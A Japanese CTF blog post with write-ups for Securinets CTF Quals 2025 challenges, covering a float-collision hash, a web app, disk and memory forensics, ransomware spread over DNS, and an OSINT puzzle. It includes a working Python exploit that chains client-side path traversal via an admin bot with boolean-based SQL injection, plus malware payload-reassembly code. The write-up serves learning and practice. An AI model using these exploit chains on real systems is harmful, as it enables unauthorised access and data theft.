st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

Securinets CTF Quals 2025 writeup

10/4 - 10/6という日程で開催された。BunkyoWesternsで参加して1位🙌 2017年にHarekazeで出て以来の優勝だ。オセアニア最高峰(?)のDUCTFに続いて、アフリカ最高峰(?)のCTFでも優勝できて嬉しい。

よい成績だった15チーム(全世界から10チーム、北アフリカから5チーム)が、チュニジアはチュニスで開催される決勝大会に進めるらしい…のだけれども、その決勝の日時が未定だし、そもそも有給休暇の日数が全然足りなそうだったりでどうしようかなという感じ。


[Misc 240] md7 (253 solves)

md5 and md6 didnt't settle with me when i'm dealing with numbers , so I'm presenting to you my md7 hashing factory

(問題サーバへの接続情報)

添付ファイル: to_give.zip

次のようなコードが与えられている。オリジナルのハッシュ関数を作ったので、100回衝突させればフラグがもらえるという問題らしい。

const fs = require("fs");
const readline = require("readline");
const md5 = require("md5");

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout
});

function askQuestion(query) {
  return new Promise(resolve => rl.question(query, resolve));
}


function normalize(numStr) {
  if (!/^\d+$/.test(numStr)) {
    return null;
  }
  return numStr.replace(/^0+/, "") || "0";
}

console.log("Welcome to our hashing factory ");
console.log("let's see how much trouble you can cause");

function generateHash(input) {
  input = input
    .split("")
    .reverse()
    .map(d => ((parseInt(d, 10) + 1) % 10).toString())
    .join("");

  const prime1 = 31;
  const prime2 = 37;
  let hash = 0;
  let altHash = 0;
  
  for (let i = 0; i < input.length; i++) {
    hash = hash * prime1 + input.charCodeAt(i);
    altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);
  }
  
  const factor = Math.abs(hash - altHash) % 1000 + 1; 
  const normalized = +input;
  const modulator = (hash % factor) + (altHash % factor); 
  const balancer = Math.floor(modulator / factor) * factor;
  return normalized + balancer % 1; 
}

(async () => {
  try {
    const used = new Set();

    for (let i = 0; i < 100; i++) {
      const input1 = await askQuestion(`(${i + 1}/100) Enter first number: `);
      const input2 = await askQuestion(`(${i + 1}/100) Enter second number: `);

      const numStr1 = normalize(input1.trim());
      const numStr2 = normalize(input2.trim());

      if (numStr1 === null || numStr2 === null) {
        console.log("Only digits are allowed.");
        process.exit(1);
      }

      if (numStr1 === numStr2) {
        console.log("Nope");
        process.exit(1);
      }

      if (used.has(numStr1) || used.has(numStr2)) {
        console.log("😈");
        process.exit(1);
      }


      used.add(numStr1);
      used.add(numStr2);

      const hash1 = generateHash(numStr1);
      const hash2 = generateHash(numStr2);

      if (md5(hash1.toString()) !== md5(hash2.toString())) {
        console.log(`…`);
        process.exit(1);
      }

      console.log("Correct!");
    }

    console.log("\ngg , get your flag\n");
    const flag = fs.readFileSync("flag.txt", "utf8");
    console.log(flag);

  } finally {
    rl.close();
  }
})();

入力となる文字列は数字のみで構成されていなければならないらしい。そして、出力は数値だ。ただ、入力の桁数が増えると出力の桁数も増えている。とても長い文字列を投げるとどうなるのだろうと思って試したところ、精度の関係で無事に衝突した。

> generateHash('11')
22
> generateHash('111')
222
> generateHash('1' + '1'.repeat(80))
2.2222222222222223e+80
> generateHash('2' + '1'.repeat(80))
2.2222222222222223e+80

長大な文字列を用意し、そのうちの数文字だけを変えてハッシュを衝突させていく。これを100回繰り返すスクリプトを用意した。

from pwn import *

s = remote('(省略)', 7011)
for i in range(100):
    s.recvuntil(b'Enter first number: ')
    s.sendline(f'10000000000000000000000000000000000000000000000000000000000000000000000000000000000{i:02}'.encode())
    s.recvuntil(b'Enter second number: ')
    s.sendline(f'20000000000000000000000000000000000000000000000000000000000000000000000000000000000{i:02}'.encode())
    print(s.recvline())
s.interactive()

これを実行するとフラグが得られた。

Securinets{floats_in_js_xddddd}

[Web 406] S3cret5 (87 solves)

My friend built a “secure” secret vault where anyone can register, log in, and save private secrets. He swears it’s fully secure: owner-only access, CSRF protection, logs. Prove him wrong.

author: Enigma522

(問題サーバのURL)

添付ファイル: Secrets.zip

与えられたURLにアクセスすると、ログインフォームが表示される。適当なユーザを登録してログインすると、次のようにメモを登録できるようになった。

コードを読んでいこう。フラグの場所は次の通り。PostgreSQL上に flags というテーブルが存在している。

    // Insert hardcoded flag if not exists
    const flag = "CTF{hardcoded_flag_here}";
    await pool.query(
      `INSERT INTO flags (flag) VALUES ($1) ON CONFLICT DO NOTHING`,
      [flag]
    );
    console.log("✅ Flag ensured in flags table");

flags はどこからも参照されていないので、得るにはSQLiが必要そうだ。SQLiできそうな箇所を探すと、次の filterBy が明らかに怪しいとわかる。

function sanitizeInput(input) {
  return input.replace(/[^a-zA-Z0-9 _-]/g, '');
}

function isValidFilterField(field, allowedFields) {
  return allowedFields.includes(field);
}


function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
  if (!filterBy || !keyword) {
    return { clause: "", params: [] };
  }

  const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
  const params = [`%${keyword}%`];

  return { clause, params };
}

ただ、この filterByMsg.findAll という関数から呼び出されているものの、その Msg.findAlladminController.showall (/admin/msgs) から呼び出されており、またこのパスは admin のロールを持つユーザでなければアクセスできない。これさえ使えれば自明SQLiからフラグの取得ができるのだけれども。

exports.showall = async (req, res) => {
  if (req.user.role !== "admin") {
    return res.status(403).send("Access denied");
  }

  try {
    const rows = await Msg.findAll();
    res.render("admin-msgs", {
      msgs: rows,
      filterBy: null,
      keyword: null,
      csrfToken: req.csrfToken(),
    });
  } catch (err) {
    res.status(400).send("Bad request");
  }
};

当然ながら、先程登録したユーザのロールは admin ではない。なんとかして権限昇格する必要がある。ロール周りを触っている処理を探すと、userController.addAdmin が見つかる。これを叩くことができれば admin になれるが、ただ admin でなければこのAPIは叩くことができない。うーむ。

exports.addAdmin = async (req, res) => {
  try {
    const { userId } = req.body;

    if (req.user.role !== "admin") {
      return res.status(403).json({ error: "Access denied" });
    }

    const updatedUser = await User.updateRole(userId, "admin");
    res.json({ message: "Role updated", user: updatedUser });
  } catch (err) {
    console.error(err);
    res.status(500).json({ error: "Failed to update role" });
  }
};

悩みつつコードを読んでいると、admin としてログインしつつユーザの指定したパスにアクセスしてくれる /report というAPIが見つかった。アクセスするだけで特定のユーザを admin にできるような都合の良いページはないかな、と考えつつコードリーディングに戻る。

router.post("/", authMiddleware, async (req, res) => {
  const { url } = req.body;

  if (!url || !url.startsWith("http://localhost:3000")) {
    return res.status(400).send("Invalid URL");
  }

  try {
    const admin = await User.findById(1);
    if (!admin) throw new Error("Admin not found");

    const token = jwt.sign({ id: admin.id, role: admin.role }, JWT_SECRET, { expiresIn: "1h" });

    // Launch Puppeteer
    const browser = await puppeteer.launch({
      headless: true,
      args: ["--no-sandbox", "--disable-setuid-sandbox"],
    });

    const page = await browser.newPage();

    // Set admin token cookie
    await page.setCookie({
      name: "token",
      value: token,
      domain: "localhost",
      path: "/",
    });

    // Visit the reported URL
    await page.goto(url, { waitUntil: "networkidle2" });

    await browser.close();

    res.status(200).send("Thanks for your report");
  } catch (error) {
    console.error(error);
    res.status(200).send("Thanks for your report");
  }
});

module.exports = router;

しばらくコードを読んでいると、/user/profile/ で表示されるHTMLに次のようなJSがあることに気づいた。/log/(ユーザID) を読みました、というログを記録するための処理なのだろうけれども、ここでクエリパラメータからユーザIDを受け取っているので、/user/profile/?id=2&id=../admin/addAdmin のようにするとClient-Side Path Traversalができると気づく。

これで /admin/addAdmin が叩かれるし、ちょうどよいことにリクエストボディに userId が含まれている。この <%= user.id %> はクエリパラメータ由来ではあるものの、同名のパラメータを複数仕込むことで、サーバ側では先に出現した id である 2 が、クライアント側では後に出現した id である ../admin/addAdmin が採用されるから問題ない。

    const urlParams = new URLSearchParams(window.location.search);
    const profileIds = urlParams.getAll("id");
    const profileId = profileIds[profileIds.length - 1]; 

    
      fetch("/log/"+profileId, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        credentials: "include",
        body: JSON.stringify({
          userId: "<%= user.id %>", 
          action: "Visited user profile with id=" + profileId,
          _csrf: csrfToken
        })
      })
      .then(res => res.json())
      .then(json => console.log("Log created:", json))
      .catch(err => console.error("Log error:", err));

ということで、http://localhost:3000/user/profile/?id=(adminにしたいユーザのID)&id=../admin/addAdmin/report に投げると、admin のロールを手に入れることができた。あとは /admin/msgs でSQLiをするだけだ。雑にBoolean-based SQLiをするexploitを書く。

import re
import uuid
import httpx
TARGET = 'http://localhost:3000'

u, p = str(uuid.uuid4()), str(uuid.uuid4())
with httpx.Client(base_url=TARGET) as client:
    r = client.get('/register').text
    csrf_token = re.findall(r'_csrf" value="(.+?)">', r)[0]
    client.post('/auth/register', json={
        '_csrf': csrf_token,
        'username': u,
        'password': p
    })
    r = client.post('/auth/login', json={
        '_csrf': csrf_token,
        'username': u,
        'password': p
    })
    uid = r.json()['id']

    r = client.get('/report').text
    csrf_token = re.findall(r'_csrf" value="(.+?)">', r)[0]
    client.post('/report', json={
        'url': f'http://localhost:3000/user/profile/?id={uid}&id=../admin/addAdmin'
    }, headers={
        'CSRF-Token': csrf_token
    })

with httpx.Client(base_url=TARGET) as client:
    r = client.get('/login').text
    csrf_token = re.findall(r'_csrf" value="(.+?)">', r)[0]
    client.post('/auth/login', json={
        '_csrf': csrf_token,
        'username': u,
        'password': p
    })

    client.post('/msg', json={
        'msg': 'test'
    })

    r = client.get(f'/admin/msgs').text
    csrf_token = re.findall(r'_csrf" value="(.+?)">', r)[0]

    i = 1
    flag = ''
    while not flag.endswith('}'):
        c = 0
        for j in range(7):
            r = client.post(f'/admin/msgs', data={
                '_csrf': csrf_token,
                'filterBy': f'''msg" LIKE '%' AND (select ascii(substr(flag, {i}, 1)) & {1 << j} from flags) > 0 AND msgs."msg''',
                'keyword': '%'
            })

            if '<td>general</td>' in r.text:
                c |= 1 << j
        flag += chr(c)
        print(flag)
        i += 1

これを実行するとフラグが得られた。

Secueinets{239c12b45ff0ff9fbd477bd9e754ed13}

[Forensics 405] Lost File (89 solves)

My friend told me to run this executable, but it turns out he just wanted to encrypt my precious file.

And to make things worse, I don’t even remember what password I used. 😥

Good thing I have this memory capture taken at a very convenient moment, right?

添付ファイル: lostfile.7z

展開すると disk.ad1mem.vmem が出てくる。ディスクとメモリのダンプを解析しろという話らしい。まず disk.ad1 をFTK Imagerで開く。RagdollFan2005 というユーザの Desktop になにかあった。locker_sim.exe でテキストファイルを暗号化した結果が to_encrypt.txt.enc なのだろう。これらをエクスポートしておく。

Binary Ninjaでバイナリを眺める。まず、色々文字列をくっつけてSHA-256ハッシュを計算し、これをもとにファイルを暗号化してそうだなあと思う。

argv[1], SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName, secret_part.txt の内容あたりを参照してそうだなあと思う。

まず argv[1] だが、雑にVolatilityに mem.vmem を投げると hmmisitreallyts だとわかった。

> volatility_2.6_win64_standalone.exe -f .\mem.vmem consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: csrss.exe Pid: 600
Console: 0x4f23b0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\WINDOWS\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 2284 Handle: 0x458
----
CommandHistory: 0x10386f8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x458
Cmd #0 at 0x1044400: cd Desktop
Cmd #1 at 0x4f1f90: cls
----
Screen 0x4f2ab0 X:80 Y:300
Dump:

C:\Documents and Settings\RagdollFan2005\Desktop>locker_sim.exe hmmisitreallyts

レジストリの ComputerName については、雑な stringsgrepRAGDOLLF-F9AC5A だとわかる。

$ strings -n 8 mem.vmem | grep -i ComputerName
…
COMPUTERNAME=RAGDOLLF-F9AC5A
…

secret_part.txt については、どうやら locker_sim.exe は読み込んだ後にこのファイルを削除しているようだったので、ゴミ箱を探してみた。確信はないがおそらくこれで、sigmadroid なのだろう。

これで鍵の準備に必要な情報は揃ったと思われる。ClaudeにBinary Ninjaの解析結果を投げることで、鍵とIVは上述のSHA-256ハッシュを切って生成しつつ、AES-CBCで暗号化しているとわかる。CyberChefで雑に復号できた。これを繰り返しBase64デコードするとフラグが得られた。

Securinets{screen+registry+mft??}

[Forensics 426] Recovery (67 solves)

This challenge may require some basic reverse‑engineering skills. Please note that the malware is dangerous, and you should proceed with caution. We are not responsible for any misuse.

添付ファイル: chal.zip

添付ファイルの chal.zip には、cap.pcapng のほか、dump ディレクトリ下にどこかのWindowsマシンに存在する C:\Users\gumba から取ってきたであろうファイルたちが含まれていた。powershell_history.txt というファイルにPowerShellのコマンド履歴らしきものも含まれている。

次のように dns100-free という怪しいGitリポジトリをクローンしてきて実行している。このディレクトリも含めて、dump ディレクトリ下のファイルはほとんどが暗号化されているようだった。dump/Users/gumba/sillyflag.png というファイルもあり、これがフラグなのだろう。

…
git clone https://github.com/youssefnoob003/dns100-free.git
cd .\dns100-free\
pip install -r .\requirements.txt
python .\app.py
…
cd C:\repos\dns100-free\
git pull
python .\app.py
…

youssefnoob003/dns100-free がめちゃくちゃ怪しいので見ていく。app.pydns_server.py 等は無害に見えるけれども、騙されてはいけない。__pycache__/dns_server.cpython-313.pyc というファイルが存在しており、これを strings すると C:\Program Files\WinRAR\UnRAR.exe のような不審な文字列が見つかる。

pycdasなりなんなりで逆アセンブルした結果をClaudeに投げつける。なるほど、DNSのクエリでXOR + Base32でエンコードされたペイロードをちまちま送りつけるというものらしい。cap.pcapng を見ると、たしかに妙なものが見える。

Claudeの解析結果をもとに、雑にデータを復元するスクリプトを書く。

from pwn import *
import base64
import re
s = '''............BPA2SF2DYPN4HQ6D4PB4HRB4HPB4MA6DYPB4HQ6DYHB4HQ6DYPB4HQ6DYPB4HQ6DYPA.0.meow.............................BKVKVKVKVKVKVKVKVKVKVKVKVKVKVKVKVKXKVKVKVLNFO6W2V4FOJQ5HNKQMZQ5ABHU.1.meow.............................BO4PAIVYHAUMBABIWDJLRIFQZDEMAGVYVCJLQKAQZK4PBSVZTHASFOGQYCMJFS6T2PU.2.meow…'''

r = re.findall(r'([0-9A-Z=]+)\.(\d+)\.meow', s)
r = [(x, int(y)) for x, y in r]
r.sort(key=lambda x: x[1])

res = b''
for x, _ in r:
    try:
        if x.startswith('B'):
            rr = base64.b32decode(x[1:] + '=' * ((8 - (len(x) - 1) % 8) % 8))
        else:
            rr = base64.b32decode(x + '=' * ((8 - (len(x)) % 8) % 8))
        rr = xor(rr[0], rr[1:])
        res += rr
    except:
        print(x)
        pass

with open('a.bin', 'wb') as f:
    f.write(res)

実行するとPEファイルが出てきた。面倒になったので、これもBinary Ninjaである程度見るべきところのあたりをつけたうえで、デコンパイル結果をClaudeに投げる。すると、次のような復号のためのスクリプトを用意してくれた。

import sys
import os

def sub_401460(filepath, file_size):
    """
    Generate XOR key based on filepath.
    Reverse engineered from the assembly code.
    """
    # XOR filepath characters into edx (32-bit)
    edx = 0
    for i in range(len(filepath)):
        shift = ((i & 3) << 3)  # (i % 4) * 8 = 0, 8, 16, 24
        char_val = ord(filepath[i])
        edx ^= (char_val << shift)
        edx &= 0xffffffff  # Keep 32-bit
    
    # XOR with hardcoded string
    secret = b"evilsecretcodeforevilsecretencryption"
    for i in range(min(len(secret), 0x25)):  # 0x25 = 37
        char_val = secret[i]
        shift = ((i & 3) << 3)  # (i % 4) * 8
        edx ^= (char_val << shift)
        edx &= 0xffffffff  # Keep 32-bit
    
    # Generate keystream using LCG (Linear Congruential Generator)
    keystream = bytearray()
    for _ in range(file_size):
        edx = (edx * 0x19660d + 0x3c6ef35f) & 0xffffffff
        keystream.append(edx & 0xff)
    
    return bytes(keystream)

def decrypt_file(encrypted_filepath, original_filepath):
    """Decrypt a single file encrypted with XOR."""
    try:
        # Read encrypted file
        with open(encrypted_filepath, 'rb') as f:
            encrypted_data = f.read()
        
        file_size = len(encrypted_data)
        
        if file_size == 0:
            print(f"[!] Skipping empty file: {encrypted_filepath}")
            return False
        
        print(f"[*] Using original path for key generation: {original_filepath}")
        
        # Generate XOR key using ORIGINAL filepath
        xor_key = sub_401460(original_filepath, file_size)
        
        # XOR decrypt
        decrypted_data = bytearray()
        for i in range(file_size):
            decrypted_data.append(encrypted_data[i] ^ xor_key[i])
        
        # Write to output file
        output_path = "sillyflag.decrypted.png"
        with open(output_path, 'wb') as f:
            f.write(decrypted_data)
        
        print(f"[+] Decrypted: {encrypted_filepath} -> {output_path} ({file_size} bytes)")
        
        # Show first few bytes for verification (PNG should start with 89 50 4E 47)
        print(f"[*] First bytes (hex): {decrypted_data[:16].hex()}")
        if decrypted_data[:4] == b'\x89PNG':
            print("[+] Valid PNG header detected!")
        else:
            print("[!] PNG header not found - decryption may have failed")
        
        return True
        
    except Exception as e:
        print(f"[!] Error decrypting {encrypted_filepath}: {e}")
        import traceback
        traceback.print_exc()
        return False

def main():
    if len(sys.argv) < 2:
        print("Usage: python decrypt.py <encrypted_sillyflag.png>")
        print("  Will decrypt using original path: C:\\Users\\gumba\\Desktop\\sillyflag.png")
        sys.exit(1)
    
    encrypted_filepath = sys.argv[1]
    original_filepath = r"C:\Users\gumba\Desktop\sillyflag.png"
    
    if not os.path.exists(encrypted_filepath):
        print(f"[!] File does not exist: {encrypted_filepath}")
        sys.exit(1)
    
    if not os.path.isfile(encrypted_filepath):
        print(f"[!] Not a file: {encrypted_filepath}")
        sys.exit(1)
    
    decrypt_file(encrypted_filepath, original_filepath)
    print("[+] Decryption complete!")

if __name__ == "__main__":
    main()

実行すると sillyflag.png が復号でき、フラグが得られた。

Securinets{D4t_W4snt_H4rd_1_Hope}

[OSINT 443] G4M3 (51 solves)

Way back in the day, popular game developer Edmund McMillen was impressed by a speedrun of one of his games.

Find the name of the game, the website where the speedrun was hosted, the rating of the speedrun video, and the email address the developer invited the speedrunner to send his full name to.

Format: Securinets{game_site_rating_email}

Example: Securinets{FIFA_sigma.com_9.8_sigma@charfi.gg}

指示が不明瞭で困る問題だ。最初に、9.8 というような評価が表示される動画サイトというのは限られるのではないかと思った。つまり、YouTubeのようないいね・悪いねという1ビットではなく、10段階のような形で評価がなされる動画サイトなのではないかと思った。

さて、初動としてこのゲーム開発者のSNSやWebサイトを列挙しようとしたのだけれども、20年以上活動し続けている人ということで対象となる範囲が非常に広い。今は存在しないコンテンツも多いだろうし、Internet ArchiveのWayback Machineのようなものも使わなければならないだろう。

頻繁に使われている/いた以下のSNSアカウントやWebサイトでSpeedrunに触れている記事等はないか探したが、見つからなかった。

更に古い投稿がないかと名前で検索して探していたところ、Newgrounds.comというフォーラムで活動していた形跡が見つかった。speed で投稿を検索してみたところ、GishというゲームでプレイヤーにSpeedrunされた動画を gametrailers.com にアップロードしたという投稿が見つかった。ただし、そのリンク先は現存していなかった。

Wayback Machineの出番だ。なるほど、動画に10点満点の評価があり、問題文の状況と合致している。これが正しければゲーム名、Webサイト、評価の3要素は揃った。

ただ、"the email address the developer invited the speedrunner to send his full name to" はどこにあるのだろう。メールアドレス自体はいろいろな場所で見つけられるが、状況に合うような投稿は見つからない。でもとりあえずやってみるか、と試してみたところ、通った。

Securinets{Gish_GameTrailers.com_6.7_souldescen@aol.com}

実は別の日付だと評価は 6.7 でなく 7.0 になっている、そもそもcase-sensitiveなのかcase-insensitiveなのかわからない、関連するメールアドレスが複数ある(これは単に私達が重要な投稿にたどり着けなかっただけかもしれないが)等、ちょっと困った問題だった。